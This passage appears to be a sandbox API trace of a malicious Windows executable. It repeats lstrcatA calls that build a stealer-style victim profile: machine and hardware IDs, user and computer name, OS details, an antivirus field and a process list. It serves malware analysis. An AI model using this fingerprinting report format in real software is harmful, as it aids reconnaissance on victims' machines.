csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n"
[0054.882] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="him_maintain_quite.exe")) returned 1
[0054.883] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- "
[0054.883] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- ", lpString2="him_maintain_quite.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe"
[0054.883] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe ["
[0054.883] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da68
[0054.883] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da38
[0054.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.883] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [", lpString2="3076" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 